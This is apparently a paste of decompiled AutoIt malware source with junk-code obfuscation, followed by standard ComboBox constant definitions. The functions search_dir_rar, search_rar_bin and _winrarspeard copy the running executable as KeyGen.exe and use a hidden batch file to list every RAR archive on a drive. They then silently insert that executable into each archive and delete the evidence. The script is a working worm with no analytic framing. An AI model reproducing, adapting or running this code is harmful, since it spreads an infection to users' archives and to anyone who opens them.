- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Next
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Return 0
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func search_dir_rar($driver)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If DriveSpaceFree($driver) > 1000 Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileCopy(@AutoItExe, @TempDir & "\KeyGen.exe")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- search_rar_bin($driver)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $file = FileOpen($driver & "system.bin", 0)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $s = 1
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- While 1
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $line = FileReadLine($file)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If @error Then ExitLoop
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $shortname = FileGetShortName($line)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- ConsoleWrite($shortname & @CRLF)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- _winrarspeard($shortname, FileGetShortName(@TempDir & "\KeyGen.exe"))
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $s = $s + 1
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- WEnd
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $s = 1
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileSetAttrib($driver & "autoexec.bat", "-H")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileSetAttrib($driver & "system.bin", "-H")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Sleep(10)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileDelete($driver & "autoexec.bat")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileDelete($driver & "system.bin")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func _winrarspeard($winrarfile, $infectedfile)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Sleep(100)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- RunWait(@ProgramFilesDir & "\WinRar\rar.exe a -ag- -ep1 -r0 -iext -- " & $winrarfile & " " & $infectedfile, "", @SW_HIDE)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Sleep(10)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func search_rar_bin($driver)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileDelete($driver & "autoexec.bat")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileDelete($driver & "system.bin")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $scmdfile = "cd\" & @CRLF & "dir *.rar /b /s >> system.bin"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileWrite($driver & "autoexec.bat", $scmdfile)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileSetAttrib($driver & "autoexec.bat", "+H")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- RunWait($driver & "autoexec.bat", $driver, @SW_HIDE)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- FileSetAttrib($driver & "system.bin", "+H")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- Global Const $cb_err = -1
- Global Const $cb_errattribute = -3
- Global Const $cb_errrequired = -4
- Global Const $cb_errspace = -2
- Global Const $cb_okay = 0
- Global Const $state_system_invisible = 32768
- Global Const $state_system_pressed = 8
- Global Const $cbs_autohscroll = 64
- Global Const $cbs_disablenoscroll = 2048
- Global Const $cbs_dropdown = 2
- Global Const $cbs_dropdownlist = 3
- Global Const $cbs_hasstrings = 512
- Global Const $cbs_lowercase = 16384
- Global Const $cbs_nointegralheight = 1024
- Global Const $cbs_oemconvert = 128
- Global Const $cbs_ownerdrawfixed = 16
- Global Const $cbs_ownerdrawvariable = 32
- Global Const $cbs_simple = 1
- Global Const $cbs_sort = 256
- Global Const $cbs_uppercase = 8192
- Global Const $cbm_first = 5888
- Global Const $cb_addstring = 323
- Global Const $cb_deletestring = 324
- Global Const $cb_dir = 325
- Global Const $cb_findstring = 332
- Global Const $cb_findstringexact = 344
- Global Const $cb_getcomboboxinfo = 356
- Global Const $cb_getcount = 326
- Global Const $cb_getcuebanner = ($cbm_first + 4)
- Global Const $cb_getcursel = 327
- Global Const $cb_getdroppedcontrolrect = 338
- Global Const $cb_getdroppedstate = 343
- Global Const $cb_getdroppedwidth = 351
- Global Const $cb_geteditsel = 320
- Global Const $cb_getextendedui = 342
- Global Const $cb_gethorizontalextent = 349
- Global Const $cb_getitemdata = 336
- Global Const $cb_getitemheight = 340
- Global Const $cb_getlbtext = 328
- Global Const $cb_getlbtextlen = 329
- Global Const $cb_getlocale = 346
- Global Const $cb_getminvisible = 5890
- Global Const $cb_gettopindex = 347
- Global Const $cb_initstorage = 353
- Global Const $cb_limittext = 321
- Global Const $cb_resetcontent = 331
- Global Const $cb_insertstring = 330
- Global Const $cb_selectstring = 333
- Global Const $cb_setcuebanner = ($cbm_first + 3)
- Global Const $cb_setcursel = 334
- Global Const $cb_setdroppedwidth = 352
- Global Const $cb_seteditsel = 322
- Global Const $cb_setextendedui = 341
- Global Const $cb_sethorizontalextent = 350
- Global Const $cb_setitemdata = 337
- Global Const $cb_setitemheight = 339
- Global Const $cb_setlocale = 345
- Global Const $cb_setminvisible = 5889
- Global Const $cb_settopindex = 348
- Global Const $cb_showdropdown = 335
- Global Const $cbn_closeup = 8
- Global Const $cbn_dblclk = 2
- Global Const $cbn_dropdown = 7
- Global Const $cbn_editchange = 5
- Global Const $cbn_editupdate = 6
- Global Const $cbn_errspace = (-1)
- Global Const $cbn_killfocus = 4
- Global Const $cbn_selchange = 1
- Global Const $cbn_selendcancel = 10
- Global Const $cbn_selendok = 9
- Global Const $cbn_setfocus = 3
- Global Const $cbes_ex_casesensitive = 16
- Global Const $cbes_ex_noeditimage = 1
- Global Const $cbes_ex_noeditimageindent = 2
- Global Const $cbes_ex_nosizelimit = 8
- Global Const $__comboboxconstant_wm_user = 1024
- Global Const $cbem_deleteitem = $cb_deletestring
- Global Const $cbem_getcombocontrol = ($__comboboxconstant_wm_user + 6)
- Global Const $cbem_geteditcontrol = ($__comboboxconstant_wm_user + 7)
- Global Const $cbem_getexstyle = ($__comboboxconstant_wm_user + 9)
- Global Const $cbem_getextendedstyle = ($__comboboxconstant_wm_user + 9)
- Global Const $cbem_getimagelist = ($__comboboxconstant_wm_user + 3)
- Global Const $cbem_getitema = ($__comboboxconstant_wm_user + 4)
- Global Const $cbem_getitemw = ($__comboboxconstant_wm_user + 13)
- Global Const $cbem_getunicodeformat = 8192 + 6
- Global Const $cbem_haseditchanged = ($__comboboxconstant_wm_user + 10)
- Global Const $cbem_insertitema = ($__comboboxconstant_wm_user + 1)
- Global Const $cbem_insertitemw = ($__comboboxconstant_wm_user + 11)
- Global Const $cbem_setexstyle = ($__comboboxconstant_wm_user + 8)
- Global Const $cbem_setextendedstyle = ($__comboboxconstant_wm_user + 14)
- Global Const $cbem_setimagelist = ($__comboboxconstant_wm_user + 2)
- Global Const $cbem_setitema = ($__comboboxconstant_wm_user + 5)
- Global Const $cbem_setitemw = ($__comboboxconstant_wm_user + 12)
- Global Const $cbem_setunicodeformat = 8192 + 5
- Global Const $cbem_setwindowtheme = 8192 + 11
- Global Const $cben_first = (-800)
- Global Const $cben_last = (-830)
- Global Const $cben_beginedit = ($cben_first - 4)
- Global Const $cben_deleteitem = ($cben_first - 2)
- Global Const $cben_dragbegina = ($cben_first - 8)
- Global Const $cben_dragbeginw = ($cben_first - 9)
- Global Const $cben_endedita = ($cben_first - 5)
- Global Const $cben_endeditw = ($cben_first - 6)
- Global Const $cben_getdispinfo = ($cben_first - 0)
- Global Const $cben_getdispinfoa = ($cben_first - 0)
- Global Const $cben_getdispinfow = ($cben_first - 7)
- Global Const $cben_insertitem = ($cben_first - 1)
- Global Const $cbeif_di_setitem = 268435456
- Global Const $cbeif_image = 2
- Global Const $cbeif_indent = 16
- Global Const $cbeif_lparam = 32
- Global Const $cbeif_overlay = 8
- Global Const $cbeif_selectedimage = 4
- Global Const $cbeif_text = 1
- Global Const $__comboboxconstant_ws_vscroll = 2097152
- Global Const $gui_ss_default_combo = BitOR($cbs_dropdown, $cbs_autohscroll, $__comboboxconstant_ws_vscroll)
Add Comment
Please, Sign In to add comment